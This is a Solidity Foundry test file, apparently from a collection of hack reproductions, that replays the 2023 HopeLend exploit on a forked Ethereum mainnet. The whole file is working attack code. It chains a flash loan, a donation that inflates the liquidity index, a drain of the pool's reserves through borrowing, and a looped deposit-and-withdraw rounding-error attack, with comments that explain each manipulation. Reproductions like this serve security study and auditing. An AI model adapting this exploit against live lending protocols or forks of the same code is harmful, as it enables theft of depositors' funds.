src/test/2023-10/Hopelend_exp.sol

1import "forge-std/Test.sol";
2 
3import "./../interface.sol";
4 
5// @KeyInfo - Total Lost : ~$825000 US$
6// Attacker : https://etherscan.io/address/0xA8Bbb3742f299B183190a9B079f1C0db8924145b
7// Attack Contract : https://etherscan.io/address/0xc74b72bbf904bac9fac880303922fc76a69f0bb4
8// Vulnerable Contract : https://etherscan.io/address/0x53FbcADa1201A465740F2d64eCdF6FAC425f9030
9// Attack Tx : https://etherscan.io/tx/0x1a7ee0a7efc70ed7429edef069a1dd001fbff378748d91f17ab1876dc6d10392
10 
11// @Info
12// Vulnerable Contract Code : https://etherscan.io/address/0x53FbcADa1201A465740F2d64eCdF6FAC425f9030#code
13 
14// @Analysis
15// https://lunaray.medium.com/deep-dive-into-hopelend-hack-5962e8b55d3f
16 
17interface IHopeLendPool {
18    function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
19 
20    function flashLoan(
21        address receiverAddress,
22        address[] calldata assets,
23        uint256[] calldata amounts,
24        uint256[] calldata interestRateModes,
25        address onBehalfOf,
26        bytes calldata params,
27        uint16 referralCode
28    ) external;
29 
30    function withdraw(address asset, uint256 amount, address to) external returns (uint256);
31 
32    function borrow(
33        address asset,
34        uint256 amount,
35        uint256 interestRateMode,
36        uint16 referralCode,
37        address onBehalfOf
38    ) external;
39}
40 
41contract ContractTest is Test {
42    IERC20 private WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
43    IERC20 private WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
44    IERC20 private USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
45    IERC20 private USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
46    IERC20 private HOPE = IERC20(0xc353Bf07405304AeaB75F4C2Fac7E88D6A68f98e);
47    IERC20 private stHOPE = IERC20(0xF5C6d9Fc73991F687f158FE30D4A77691a9Fd4d8);
48    // proxy  0xf1cd4193bbc1ad4a23e833170f49d60f3d35a621
49    IAaveFlashloan AaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
50 
51    // proxy  0x53fbcada1201a465740f2d64ecdf6fac425f9030
52    IHopeLendPool HopeLend = IHopeLendPool(0x53FbcADa1201A465740F2d64eCdF6FAC425f9030);
53 
54    IERC20 private hEthWBTC = IERC20(0x25126F207Db7dC427415eA640ce0187767403907);
55 
56    IUniswapV2Router UniRouter02 = IUniswapV2Router(payable(0x219Bd2d1449F3813c01204EE455D11B41D5051e9));
57 
58    Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
59 
60    uint256 index = 0;
61 
62    function setUp() public {
63        vm.createSelectFork("mainnet", 18_377_041);
64        vm.label(address(this), "AttackContract");
65        vm.label(address(WBTC), "WBTC");
66        vm.label(address(WETH), "WETH");
67        vm.label(address(USDC), "USDC");
68        vm.label(address(USDT), "USDT");
69        vm.label(address(HOPE), "HOPE");
70        vm.label(address(stHOPE), "stHOPE");
71        vm.label(address(AaveV3), "AaveV3");
72        vm.label(address(HopeLend), "HopeLend");
73        vm.label(address(hEthWBTC), "hEthWBTC");
74        vm.label(address(UniRouter02), "UniRouter02");
75        vm.label(address(Router), "UniRouterV3");
76    }
77 
78    function approveAll() internal {
79        WBTC.approve(address(this), type(uint256).max);
80        WBTC.approve(address(AaveV3), type(uint256).max);
81        WBTC.approve(address(HopeLend), type(uint256).max);
82        WBTC.approve(address(Router), type(uint256).max);
83        HOPE.approve(address(UniRouter02), type(uint256).max);
84        stHOPE.approve(address(UniRouter02), type(uint256).max);
85        USDC.approve(address(Router), type(uint256).max);
86    }
87 
88    function testAttack() public {
89        deal(address(this), 0);
90        approveAll();
91 
92        address[] memory assets = new address[](1);
93        assets[0] = address(WBTC);
94        uint256[] memory amounts = new uint256[](1);
95        amounts[0] = 2300 * 1e8;
96        uint256[] memory modes = new uint256[](1);
97        modes[0] = 0;
98 
99        AaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
100 
101        WBTCToWETH();
102        WETH.withdraw(WETH.balanceOf(address(this)));
103        block.coinbase.call{value: 264 ether}("");
104 
105        emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, WETH.decimals());
106    }
107 
108    function executeOperation(
109        address[] calldata asset,
110        uint256[] calldata amount,
111        uint256[] calldata premium,
112        address initiator,
113        bytes calldata params
114    ) external returns (bool) {
115        index++;
116        if (index == 1) {
117            HopeLend.deposit(address(WBTC), 2000 * 1e8, address(this), 0);
118        }
119 
120        if (index == 2) {
121            WBTC.transfer(address(hEthWBTC), 2000 * 1e8); // donate 2000 WBTC as flashloan fund to inflate index
122            HopeLend.withdraw(address(WBTC), 2000 * 1e8 - 1, address(this)); // manipulate totalSupply to 1
123            return true;
124        }
125 
126        if (msg.sender != address(HopeLend)) {
127            uint256 idx = 0;
128            for (idx = 0; idx < 60; idx++) {
129                address[] memory assets = new address[](1);
130                assets[0] = address(WBTC);
131                uint256[] memory amounts = new uint256[](1);
132                amounts[0] = 2000 * 1e8;
133                uint256[] memory modes = new uint256[](1);
134                modes[0] = 0x0;
135 
136                HopeLend.flashLoan(address(this), assets, amounts, modes, address(this), "", 0x0);
137            }
138 
139            uint256 WETHBalance = WETH.balanceOf(address(0x396856F04836AaEba30311E2903B43E565a4323E)); // WETH_hToken
140            uint256 USDTBalance = USDT.balanceOf(address(0x6090F36F979bb221e71d5667afC3Bb445551B749)); // USDT_hToken
141            uint256 USDCBalance = USDC.balanceOf(address(0x5dd30eDdcFfb7Dc18136501cE21E408243303572)); // USDC_hToken
142            uint256 HOPEBalance = HOPE.balanceOf(address(0x58792e9279cC6a178bE5e367A145B75A36f74D90)); // HOPE_hToken
143            uint256 stHOPEBalance = stHOPE.balanceOf(address(0x1fC2dD0dCb64E0159B0474CFE6E45985522C9386)); // stHOPE_hToken
144            HopeLend.borrow(address(WETH), WETHBalance, 2, 0, address(this));
145            HopeLend.borrow(address(USDT), USDTBalance, 2, 0, address(this));
146            HopeLend.borrow(address(USDC), USDCBalance, 2, 0, address(this));
147            HopeLend.borrow(address(HOPE), HOPEBalance, 2, 0, address(this));
148            HopeLend.borrow(address(stHOPE), stHOPEBalance, 2, 0, address(this));
149 
150            address[] memory path = new address[](2);
151            (path[0], path[1]) = (address(stHOPE), address(HOPE));
152            UniRouter02.swapExactTokensForTokens(stHOPEBalance, 0, path, address(this), type(uint256).max);
153 
154            address[] memory path1 = new address[](2);
155            (path1[0], path1[1]) = (address(HOPE), address(USDT));
156            UniRouter02.swapExactTokensForTokens(
157                HOPE.balanceOf(address(this)), 0, path1, address(this), block.timestamp + 10_000
158            );
159 
160            USDTToUSDC();
161            USDCToWBTC();
162            WithdrawAllWBTC();
163        }
164 
165        return true;
166    }
167 
168    function USDTToUSDC() internal {
169        address(USDT).call(abi.encodeWithSignature("approve(address,uint256)", address(Router), type(uint256).max));
170        Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
171            tokenIn: address(USDT),
172            tokenOut: address(USDC),
173            fee: 500,
174            recipient: address(this),
175            deadline: block.timestamp + 10_000,
176            amountIn: USDT.balanceOf(address(this)),
177            amountOutMinimum: 0,
178            sqrtPriceLimitX96: 0
179        });
180        Router.exactInputSingle(_Params);
181    }
182 
183    function USDCToWBTC() internal {
184        Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
185            tokenIn: address(USDC),
186            tokenOut: address(WBTC),
187            fee: 500,
188            recipient: address(this),
189            deadline: block.timestamp + 10_000,
190            amountIn: USDC.balanceOf(address(this)),
191            amountOutMinimum: 0,
192            sqrtPriceLimitX96: 0
193        });
194        Router.exactInputSingle(_Params);
195    }
196 
197    function WBTCToWETH() internal {
198        Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
199            tokenIn: address(WBTC),
200            tokenOut: address(WETH),
201            fee: 500,
202            recipient: address(this),
203            deadline: block.timestamp + 10_000,
204            amountIn: WBTC.balanceOf(address(this)),
205            amountOutMinimum: 0,
206            sqrtPriceLimitX96: 0
207        });
208        Router.exactInputSingle(_Params);
209    }
210 
211    function WithdrawAllWBTC() internal {
212        uint256 premiumPerFlashloan = 2000 * 1e8 * 9 / 10_000; // 0.09% flashlaon fee
213        premiumPerFlashloan -= (premiumPerFlashloan * 30 / 100); // 30% protocol fee
214        uint256 nextLiquidityIndex = premiumPerFlashloan * 60 + 1; // 60 times flashloan
215        uint256 depositAmount = nextLiquidityIndex; // Use a rounding error greater than 0.5 for upward rounding and less than downward rounding
216        uint256 withdrawAmount = nextLiquidityIndex * 3 / 2 - 1; // withdraw 1.5 share of asset, but only burn 1 share throungh rounding error
217        uint256 profitPerDAW = withdrawAmount - depositAmount; // profit per deposit and withdraw process
218 
219        console.log("premiumPerFlashloan", premiumPerFlashloan);
220        console.log("nextLiquidityIndex", nextLiquidityIndex);
221        console.log("depositAmount", depositAmount);
222        console.log("withdrawAmount", withdrawAmount);
223        console.log("withdrawAmount/depositAmount", withdrawAmount / depositAmount);
224 
225        HopeLend.deposit(address(WBTC), depositAmount * 2, address(this), 0); // mint 2 share
226        HopeLend.withdraw(address(WBTC), withdrawAmount, address(this)); // burn 1 share, withdraw 1.5 share of asset
227        uint256 idx = 0;
228        uint256 count = (2000 * 1e8 + depositAmount * 3 - withdrawAmount) / profitPerDAW + 1;
229        for (idx = 0; idx < count; idx++) {
230            HopeLend.deposit(address(WBTC), depositAmount, address(this), 0); // mint 1 share
231            HopeLend.withdraw(address(WBTC), withdrawAmount, address(this)); // burn 1 share, withdraw 1.5 share of asset
232        }
233        HopeLend.deposit(address(WBTC), depositAmount, address(this), 0);
234        withdrawAmount = WBTC.balanceOf(address(hEthWBTC));
235        HopeLend.withdraw(address(WBTC), withdrawAmount, address(this));
236    }
237 
238    receive() external payable {}
239}